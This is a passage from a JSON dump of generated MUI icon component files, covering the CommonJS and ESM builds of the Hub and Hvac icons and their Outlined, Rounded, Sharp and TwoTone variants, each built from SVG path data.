    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.4 18.2c.38.5.6 1.12.6 1.8 0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3c.44 0 .85.09 1.23.26l1.41-1.77c-.92-1.03-1.29-2.39-1.09-3.69l-2.03-.68c-.54.83-1.46 1.38-2.52 1.38-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3c0 .07 0 .14-.01.21l2.03.68c.64-1.21 1.82-2.09 3.22-2.32V5.91C9.96 5.57 9 4.4 9 3c0-1.66 1.34-3 3-3s3 1.34 3 3c0 1.4-.96 2.57-2.25 2.91v2.16c1.4.23 2.58 1.11 3.22 2.32L18 9.71V9.5c0-1.66 1.34-3 3-3s3 1.34 3 3-1.34 3-3 3c-1.06 0-1.98-.55-2.52-1.37l-2.03.68c.2 1.29-.16 2.65-1.09 3.69l1.41 1.77Q17.34 17 18 17c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3c0-.68.22-1.3.6-1.8l-1.41-1.77c-1.35.75-3.01.76-4.37 0z\"\n}), 'Hub');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hub.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.4 18.2c.38.5.6 1.12.6 1.8 0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3c.44 0 .85.09 1.23.26l1.41-1.77c-.92-1.03-1.29-2.39-1.09-3.69l-2.03-.68c-.54.83-1.46 1.38-2.52 1.38-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3c0 .07 0 .14-.01.21l2.03.68c.64-1.21 1.82-2.09 3.22-2.32V5.91C9.96 5.57 9 4.4 9 3c0-1.66 1.34-3 3-3s3 1.34 3 3c0 1.4-.96 2.57-2.25 2.91v2.16c1.4.23 2.58 1.11 3.22 2.32L18 9.71V9.5c0-1.66 1.34-3 3-3s3 1.34 3 3-1.34 3-3 3c-1.06 0-1.98-.55-2.52-1.37l-2.03.68c.2 1.29-.16 2.65-1.09 3.69l1.41 1.77Q17.34 17 18 17c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3c0-.68.22-1.3.6-1.8l-1.41-1.77c-1.35.75-3.01.76-4.37 0z\"\n}), 'Hub');"
  },
  {
    "path": "packages/mui-icons-material/lib/HubOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6.5c-1.66 0-3 1.34-3 3 0 .07 0 .14.01.21l-2.03.68c-.64-1.21-1.82-2.09-3.22-2.32V5.91C14.04 5.57 15 4.4 15 3c0-1.66-1.34-3-3-3S9 1.34 9 3c0 1.4.96 2.57 2.25 2.91v2.16c-1.4.23-2.58 1.11-3.22 2.32l-2.04-.68C6 9.64 6 9.57 6 9.5c0-1.66-1.34-3-3-3s-3 1.34-3 3 1.34 3 3 3c1.06 0 1.98-.55 2.52-1.37l2.03.68c-.2 1.29.17 2.66 1.09 3.69l-1.41 1.77Q6.66 17 6 17c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3c0-.68-.22-1.3-.6-1.8l1.41-1.77c1.36.76 3.02.75 4.37 0l1.41 1.77c-.37.5-.59 1.12-.59 1.8 0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3c-.44 0-.85.09-1.23.26l-1.41-1.77c.93-1.04 1.29-2.4 1.09-3.69l2.03-.68c.53.82 1.46 1.37 2.52 1.37 1.66 0 3-1.34 3-3S22.66 6.5 21 6.5m-18 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M6 21c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m5-18c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m1 12c-1.38 0-2.5-1.12-2.5-2.5S10.62 10 12 10s2.5 1.12 2.5 2.5S13.38 15 12 15m6 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m3-8.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'HubOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HubOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6.5c-1.66 0-3 1.34-3 3 0 .07 0 .14.01.21l-2.03.68c-.64-1.21-1.82-2.09-3.22-2.32V5.91C14.04 5.57 15 4.4 15 3c0-1.66-1.34-3-3-3S9 1.34 9 3c0 1.4.96 2.57 2.25 2.91v2.16c-1.4.23-2.58 1.11-3.22 2.32l-2.04-.68C6 9.64 6 9.57 6 9.5c0-1.66-1.34-3-3-3s-3 1.34-3 3 1.34 3 3 3c1.06 0 1.98-.55 2.52-1.37l2.03.68c-.2 1.29.17 2.66 1.09 3.69l-1.41 1.77Q6.66 17 6 17c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3c0-.68-.22-1.3-.6-1.8l1.41-1.77c1.36.76 3.02.75 4.37 0l1.41 1.77c-.37.5-.59 1.12-.59 1.8 0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3c-.44 0-.85.09-1.23.26l-1.41-1.77c.93-1.04 1.29-2.4 1.09-3.69l2.03-.68c.53.82 1.46 1.37 2.52 1.37 1.66 0 3-1.34 3-3S22.66 6.5 21 6.5m-18 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M6 21c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m5-18c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m1 12c-1.38 0-2.5-1.12-2.5-2.5S10.62 10 12 10s2.5 1.12 2.5 2.5S13.38 15 12 15m6 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m3-8.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'HubOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HubRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.4 18.2c.38.5.6 1.12.6 1.8 0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3c.44 0 .85.09 1.23.26l1.41-1.77c-.92-1.03-1.29-2.39-1.09-3.69l-2.03-.68c-.54.83-1.46 1.38-2.52 1.38-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3c0 .07 0 .14-.01.21l2.03.68c.64-1.21 1.82-2.09 3.22-2.32V5.91C9.96 5.57 9 4.4 9 3c0-1.66 1.34-3 3-3s3 1.34 3 3c0 1.4-.96 2.57-2.25 2.91v2.16c1.4.23 2.58 1.11 3.22 2.32L18 9.71V9.5c0-1.66 1.34-3 3-3s3 1.34 3 3-1.34 3-3 3c-1.06 0-1.98-.55-2.52-1.37l-2.03.68c.2 1.29-.16 2.65-1.09 3.69l1.41 1.77Q17.34 17 18 17c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3c0-.68.22-1.3.6-1.8l-1.41-1.77c-1.35.75-3.01.76-4.37 0z\"\n}), 'HubRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HubRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.4 18.2c.38.5.6 1.12.6 1.8 0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3c.44 0 .85.09 1.23.26l1.41-1.77c-.92-1.03-1.29-2.39-1.09-3.69l-2.03-.68c-.54.83-1.46 1.38-2.52 1.38-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3c0 .07 0 .14-.01.21l2.03.68c.64-1.21 1.82-2.09 3.22-2.32V5.91C9.96 5.57 9 4.4 9 3c0-1.66 1.34-3 3-3s3 1.34 3 3c0 1.4-.96 2.57-2.25 2.91v2.16c1.4.23 2.58 1.11 3.22 2.32L18 9.71V9.5c0-1.66 1.34-3 3-3s3 1.34 3 3-1.34 3-3 3c-1.06 0-1.98-.55-2.52-1.37l-2.03.68c.2 1.29-.16 2.65-1.09 3.69l1.41 1.77Q17.34 17 18 17c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3c0-.68.22-1.3.6-1.8l-1.41-1.77c-1.35.75-3.01.76-4.37 0z\"\n}), 'HubRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HubSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.4 18.2c.38.5.6 1.12.6 1.8 0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3c.44 0 .85.09 1.23.26l1.41-1.77c-.92-1.03-1.29-2.39-1.09-3.69l-2.03-.68c-.54.83-1.46 1.38-2.52 1.38-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3c0 .07 0 .14-.01.21l2.03.68c.64-1.21 1.82-2.09 3.22-2.32V5.91C9.96 5.57 9 4.4 9 3c0-1.66 1.34-3 3-3s3 1.34 3 3c0 1.4-.96 2.57-2.25 2.91v2.16c1.4.23 2.58 1.11 3.22 2.32L18 9.71V9.5c0-1.66 1.34-3 3-3s3 1.34 3 3-1.34 3-3 3c-1.06 0-1.98-.55-2.52-1.37l-2.03.68c.2 1.29-.16 2.65-1.09 3.69l1.41 1.77Q17.34 17 18 17c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3c0-.68.22-1.3.6-1.8l-1.41-1.77c-1.35.75-3.01.76-4.37 0z\"\n}), 'HubSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HubSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.4 18.2c.38.5.6 1.12.6 1.8 0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3c.44 0 .85.09 1.23.26l1.41-1.77c-.92-1.03-1.29-2.39-1.09-3.69l-2.03-.68c-.54.83-1.46 1.38-2.52 1.38-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3c0 .07 0 .14-.01.21l2.03.68c.64-1.21 1.82-2.09 3.22-2.32V5.91C9.96 5.57 9 4.4 9 3c0-1.66 1.34-3 3-3s3 1.34 3 3c0 1.4-.96 2.57-2.25 2.91v2.16c1.4.23 2.58 1.11 3.22 2.32L18 9.71V9.5c0-1.66 1.34-3 3-3s3 1.34 3 3-1.34 3-3 3c-1.06 0-1.98-.55-2.52-1.37l-2.03.68c.2 1.29-.16 2.65-1.09 3.69l1.41 1.77Q17.34 17 18 17c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3c0-.68.22-1.3.6-1.8l-1.41-1.77c-1.35.75-3.01.76-4.37 0z\"\n}), 'HubSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HubTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 10.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M6 21c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m5-18c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m1 12c-1.38 0-2.5-1.12-2.5-2.5S10.62 10 12 10s2.5 1.12 2.5 2.5S13.38 15 12 15m6 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m3-8.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6.5c-1.66 0-3 1.34-3 3 0 .07 0 .14.01.21l-2.03.68c-.64-1.21-1.82-2.09-3.22-2.32V5.91C14.04 5.57 15 4.4 15 3c0-1.66-1.34-3-3-3S9 1.34 9 3c0 1.4.96 2.57 2.25 2.91v2.16c-1.4.23-2.58 1.11-3.22 2.32l-2.04-.68C6 9.64 6 9.57 6 9.5c0-1.66-1.34-3-3-3s-3 1.34-3 3 1.34 3 3 3c1.06 0 1.98-.55 2.52-1.37l2.03.68c-.2 1.29.17 2.66 1.09 3.69l-1.41 1.77Q6.66 17 6 17c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3c0-.68-.22-1.3-.6-1.8l1.41-1.77c1.36.76 3.02.75 4.37 0l1.41 1.77c-.37.5-.59 1.12-.59 1.8 0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3c-.44 0-.85.09-1.23.26l-1.41-1.77c.93-1.04 1.29-2.4 1.09-3.69l2.03-.68c.53.82 1.46 1.37 2.52 1.37 1.66 0 3-1.34 3-3S22.66 6.5 21 6.5m-18 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M6 21c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m5-18c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m1 12c-1.38 0-2.5-1.12-2.5-2.5S10.62 10 12 10s2.5 1.12 2.5 2.5S13.38 15 12 15m6 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m3-8.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'HubTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HubTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 10.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M6 21c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m5-18c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m1 12c-1.38 0-2.5-1.12-2.5-2.5S10.62 10 12 10s2.5 1.12 2.5 2.5S13.38 15 12 15m6 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m3-8.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6.5c-1.66 0-3 1.34-3 3 0 .07 0 .14.01.21l-2.03.68c-.64-1.21-1.82-2.09-3.22-2.32V5.91C14.04 5.57 15 4.4 15 3c0-1.66-1.34-3-3-3S9 1.34 9 3c0 1.4.96 2.57 2.25 2.91v2.16c-1.4.23-2.58 1.11-3.22 2.32l-2.04-.68C6 9.64 6 9.57 6 9.5c0-1.66-1.34-3-3-3s-3 1.34-3 3 1.34 3 3 3c1.06 0 1.98-.55 2.52-1.37l2.03.68c-.2 1.29.17 2.66 1.09 3.69l-1.41 1.77Q6.66 17 6 17c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3c0-.68-.22-1.3-.6-1.8l1.41-1.77c1.36.76 3.02.75 4.37 0l1.41 1.77c-.37.5-.59 1.12-.59 1.8 0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3c-.44 0-.85.09-1.23.26l-1.41-1.77c.93-1.04 1.29-2.4 1.09-3.69l2.03-.68c.53.82 1.46 1.37 2.52 1.37 1.66 0 3-1.34 3-3S22.66 6.5 21 6.5m-18 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M6 21c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m5-18c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m1 12c-1.38 0-2.5-1.12-2.5-2.5S10.62 10 12 10s2.5 1.12 2.5 2.5S13.38 15 12 15m6 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m3-8.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'HubTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hvac.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 16c1.01 0 1.91-.39 2.62-1H9.38c.71.61 1.61 1 2.62 1m-3.44-2h6.89c.26-.45.44-.96.51-1.5h-7.9c.06.54.23 1.05.5 1.5M12 8c-1.01 0-1.91.39-2.62 1h5.24c-.71-.61-1.61-1-2.62-1m-3.44 2c-.26.45-.44.96-.51 1.5h7.9c-.07-.54-.24-1.05-.51-1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"1\")], 'Hvac');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hvac.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 16c1.01 0 1.91-.39 2.62-1H9.38c.71.61 1.61 1 2.62 1m-3.44-2h6.89c.26-.45.44-.96.51-1.5h-7.9c.06.54.23 1.05.5 1.5M12 8c-1.01 0-1.91.39-2.62 1h5.24c-.71-.61-1.61-1-2.62-1m-3.44 2c-.26.45-.44.96-.51 1.5h7.9c-.07-.54-.24-1.05-.51-1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"1\")], 'Hvac');"
  },
  {
    "path": "packages/mui-icons-material/lib/HvacOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 18c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m3.44-8c.26.45.44.96.51 1.5h-7.9c.07-.54.24-1.05.51-1.5zm.51 2.5c-.07.54-.24 1.05-.51 1.5H8.56c-.26-.45-.44-.96-.51-1.5zM9.38 15h5.24c-.7.61-1.61 1-2.62 1s-1.91-.39-2.62-1m5.24-6H9.38c.7-.61 1.61-1 2.62-1s1.91.39 2.62 1\"\n}, \"1\")], 'HvacOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HvacOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 18c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m3.44-8c.26.45.44.96.51 1.5h-7.9c.07-.54.24-1.05.51-1.5zm.51 2.5c-.07.54-.24 1.05-.51 1.5H8.56c-.26-.45-.44-.96-.51-1.5zM9.38 15h5.24c-.7.61-1.61 1-2.62 1s-1.91-.39-2.62-1m5.24-6H9.38c.7-.61 1.61-1 2.62-1s1.91.39 2.62 1\"\n}, \"1\")], 'HvacOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HvacRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 16c1.01 0 1.91-.39 2.62-1H9.38c.71.61 1.61 1 2.62 1m-3.44-2h6.89c.26-.45.44-.96.51-1.5h-7.9c.06.54.23 1.05.5 1.5M12 8c-1.01 0-1.91.39-2.62 1h5.24c-.71-.61-1.61-1-2.62-1m-3.44 2c-.26.45-.44.96-.51 1.5h7.9c-.07-.54-.24-1.05-.51-1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"1\")], 'HvacRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HvacRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 16c1.01 0 1.91-.39 2.62-1H9.38c.71.61 1.61 1 2.62 1m-3.44-2h6.89c.26-.45.44-.96.51-1.5h-7.9c.06.54.23 1.05.5 1.5M12 8c-1.01 0-1.91.39-2.62 1h5.24c-.71-.61-1.61-1-2.62-1m-3.44 2c-.26.45-.44.96-.51 1.5h7.9c-.07-.54-.24-1.05-.51-1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"1\")], 'HvacRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HvacSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.56 14h6.89c.26-.45.44-.96.51-1.5h-7.9c.06.54.23 1.05.5 1.5M12 16c1.01 0 1.91-.39 2.62-1H9.38c.71.61 1.61 1 2.62 1m0-8c-1.01 0-1.91.39-2.62 1h5.24c-.71-.61-1.61-1-2.62-1m-3.44 2c-.26.45-.44.96-.51 1.5h7.9c-.07-.54-.24-1.05-.51-1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm9 15c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"1\")], 'HvacSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HvacSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.56 14h6.89c.26-.45.44-.96.51-1.5h-7.9c.06.54.23 1.05.5 1.5M12 16c1.01 0 1.91-.39 2.62-1H9.38c.71.61 1.61 1 2.62 1m0-8c-1.01 0-1.91.39-2.62 1h5.24c-.71-.61-1.61-1-2.62-1m-3.44 2c-.26.45-.44.96-.51 1.5h7.9c-.07-.54-.24-1.05-.51-1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm9 15c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"1\")], 'HvacSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HvacTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm7-13c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 18c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m0-2c-1.01 0-1.91-.39-2.62-1h5.24c-.71.61-1.61 1-2.62 1m0-8c1.01 0 1.91.39 2.62 1H9.38c.71-.61 1.61-1 2.62-1m-3.44 2h6.89c.26.45.44.96.51 1.5h-7.9c.06-.54.23-1.05.5-1.5m7.39 2.5c-.07.54-.24 1.05-.51 1.5H8.56c-.26-.45-.44-.96-.51-1.5z\"\n}, \"2\")], 'HvacTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HvacTwoTone.mjs",
